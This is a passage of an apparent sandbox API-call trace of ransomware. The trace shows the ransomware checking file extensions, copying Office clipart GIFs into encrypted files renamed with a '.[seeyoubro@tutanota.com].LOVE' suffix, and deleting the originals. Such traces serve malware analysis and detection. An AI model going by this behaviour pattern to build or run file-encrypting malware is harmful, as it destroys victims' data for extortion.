(lpString=".zip") returned 4 [0206.259] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.259] lstrlenW (lpString=".rar") returned 4 [0206.260] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.260] lstrlenW (lpString=".bz2") returned 4 [0206.260] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.260] lstrlenW (lpString=".7z") returned 3 [0206.260] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.260] lstrlenW (lpString=".dbf") returned 4 [0206.260] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.260] lstrlenW (lpString=".1cd") returned 4 [0206.260] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.260] lstrlenW (lpString=".jpg") returned 4 [0206.260] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.260] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.260] lstrlenW (lpString="AG00120_.GIF") returned 12 [0206.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.261] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=3484) returned 1 [0206.261] CloseHandle (hObject=0x33c) returned 1 [0206.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0206.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.264] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.264] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.266] GetLastError () returned 0x0 [0206.266] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xd9c, lpOverlapped=0x0) returned 1 [0206.291] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xda0, lpOverlapped=0x0) returned 1 [0206.291] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.291] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.291] SetEndOfFile (hFile=0x31c) returned 1 [0206.291] CloseHandle (hObject=0x31c) returned 1 [0206.292] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.292] SetEndOfFile (hFile=0x33c) returned 1 [0206.292] CloseHandle (hObject=0x33c) returned 1 [0206.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0206.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.294] lstrlenW (lpString=".doc") returned 4 [0206.294] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.294] lstrlenW (lpString=".docx") returned 5 [0206.294] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.294] lstrlenW (lpString=".pdf") returned 4 [0206.294] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.294] lstrlenW (lpString=".xls") returned 4 [0206.294] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.294] lstrlenW (lpString=".xlsx") returned 5 [0206.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.294] lstrlenW (lpString=".ppt") returned 4 [0206.294] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.295] lstrlenW (lpString=".zip") returned 4 [0206.295] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.295] lstrlenW (lpString=".rar") returned 4 [0206.295] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.295] lstrlenW (lpString=".bz2") returned 4 [0206.295] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.295] lstrlenW (lpString=".7z") returned 3 [0206.295] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.295] lstrlenW (lpString=".dbf") returned 4 [0206.295] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.295] lstrlenW (lpString=".1cd") returned 4 [0206.295] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.295] lstrlenW (lpString=".jpg") returned 4 [0206.295] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.295] lstrlenW (lpString=".doc") returned 4 [0206.295] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.295] lstrlenW (lpString=".docx") returned 5 [0206.295] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.295] lstrlenW (lpString=".pdf") returned 4 [0206.295] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.295] lstrlenW (lpString=".xls") returned 4 [0206.295] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.295] lstrlenW (lpString=".xlsx") returned 5 [0206.295] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.295] lstrlenW (lpString=".ppt") returned 4 [0206.295] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.295] lstrlenW (lpString=".zip") returned 4 [0206.295] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.295] lstrlenW (lpString=".rar") returned 4 [0206.295] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.296] lstrlenW (lpString=".bz2") returned 4 [0206.296] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.296] lstrlenW (lpString=".7z") returned 3 [0206.296] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.296] lstrlenW (lpString=".dbf") returned 4 [0206.296] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.296] lstrlenW (lpString=".1cd") returned 4 [0206.296] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0206.296] lstrlenW (lpString=".jpg") returned 4 [0206.296] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.296] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.296] lstrlenW (lpString="AG00135_.GIF") returned 12 [0206.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.299] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=2596) returned 1 [0206.299] CloseHandle (hObject=0x330) returned 1 [0206.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0206.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.300] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.300] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.303] GetLastError () returned 0x0 [0206.303] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xa24, lpOverlapped=0x0) returned 1 [0206.358] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xa30, lpOverlapped=0x0) returned 1 [0206.358] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.358] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.359] SetEndOfFile (hFile=0x31c) returned 1 [0206.359] CloseHandle (hObject=0x31c) returned 1 [0206.359] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.359] SetEndOfFile (hFile=0x2d8) returned 1 [0206.360] CloseHandle (hObject=0x2d8) returned 1 [0206.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0206.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.405] lstrlenW (lpString=".doc") returned 4 [0206.405] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.405] lstrlenW (lpString=".docx") returned 5 [0206.405] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.405] lstrlenW (lpString=".pdf") returned 4 [0206.405] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.405] lstrlenW (lpString=".xls") returned 4 [0206.405] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.405] lstrlenW (lpString=".xlsx") returned 5 [0206.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.405] lstrlenW (lpString=".ppt") returned 4 [0206.405] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.405] lstrlenW (lpString=".zip") returned 4 [0206.405] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.405] lstrlenW (lpString=".rar") returned 4 [0206.405] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.405] lstrlenW (lpString=".bz2") returned 4 [0206.405] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.405] lstrlenW (lpString=".7z") returned 3 [0206.405] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.405] lstrlenW (lpString=".dbf") returned 4 [0206.405] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.406] lstrlenW (lpString=".1cd") returned 4 [0206.406] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.406] lstrlenW (lpString=".jpg") returned 4 [0206.406] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.406] lstrlenW (lpString=".doc") returned 4 [0206.406] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.406] lstrlenW (lpString=".docx") returned 5 [0206.406] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.406] lstrlenW (lpString=".pdf") returned 4 [0206.406] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.406] lstrlenW (lpString=".xls") returned 4 [0206.406] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.406] lstrlenW (lpString=".xlsx") returned 5 [0206.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.406] lstrlenW (lpString=".ppt") returned 4 [0206.406] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.406] lstrlenW (lpString=".zip") returned 4 [0206.406] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.406] lstrlenW (lpString=".rar") returned 4 [0206.406] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.406] lstrlenW (lpString=".bz2") returned 4 [0206.406] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.406] lstrlenW (lpString=".7z") returned 3 [0206.406] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.406] lstrlenW (lpString=".dbf") returned 4 [0206.406] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.406] lstrlenW (lpString=".1cd") returned 4 [0206.406] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0206.406] lstrlenW (lpString=".jpg") returned 4 [0206.406] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.407] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.407] lstrlenW (lpString="AG00157_.GIF") returned 12 [0206.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.407] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=4955) returned 1 [0206.407] CloseHandle (hObject=0x2f0) returned 1 [0206.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0206.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.407] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.408] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0206.408] GetLastError () returned 0x0 [0206.408] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x135b, lpOverlapped=0x0) returned 1 [0206.434] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1360, lpOverlapped=0x0) returned 1 [0206.435] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.435] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.435] SetEndOfFile (hFile=0x364) returned 1 [0206.435] CloseHandle (hObject=0x364) returned 1 [0206.436] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.436] SetEndOfFile (hFile=0x2f0) returned 1 [0206.436] CloseHandle (hObject=0x2f0) returned 1 [0206.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0206.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.437] lstrlenW (lpString=".doc") returned 4 [0206.437] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.437] lstrlenW (lpString=".docx") returned 5 [0206.437] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.437] lstrlenW (lpString=".pdf") returned 4 [0206.437] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.437] lstrlenW (lpString=".xls") returned 4 [0206.437] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.437] lstrlenW (lpString=".xlsx") returned 5 [0206.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.437] lstrlenW (lpString=".ppt") returned 4 [0206.437] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.437] lstrlenW (lpString=".zip") returned 4 [0206.437] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.437] lstrlenW (lpString=".rar") returned 4 [0206.437] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.437] lstrlenW (lpString=".bz2") returned 4 [0206.437] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.438] lstrlenW (lpString=".7z") returned 3 [0206.438] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.438] lstrlenW (lpString=".dbf") returned 4 [0206.438] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.438] lstrlenW (lpString=".1cd") returned 4 [0206.438] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.438] lstrlenW (lpString=".jpg") returned 4 [0206.438] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.438] lstrlenW (lpString=".doc") returned 4 [0206.438] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.438] lstrlenW (lpString=".docx") returned 5 [0206.438] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.438] lstrlenW (lpString=".pdf") returned 4 [0206.438] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.438] lstrlenW (lpString=".xls") returned 4 [0206.438] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.438] lstrlenW (lpString=".xlsx") returned 5 [0206.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.438] lstrlenW (lpString=".ppt") returned 4 [0206.438] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.438] lstrlenW (lpString=".zip") returned 4 [0206.438] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.438] lstrlenW (lpString=".rar") returned 4 [0206.438] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.438] lstrlenW (lpString=".bz2") returned 4 [0206.438] lstrcmpiW (lpString1=".bz2", 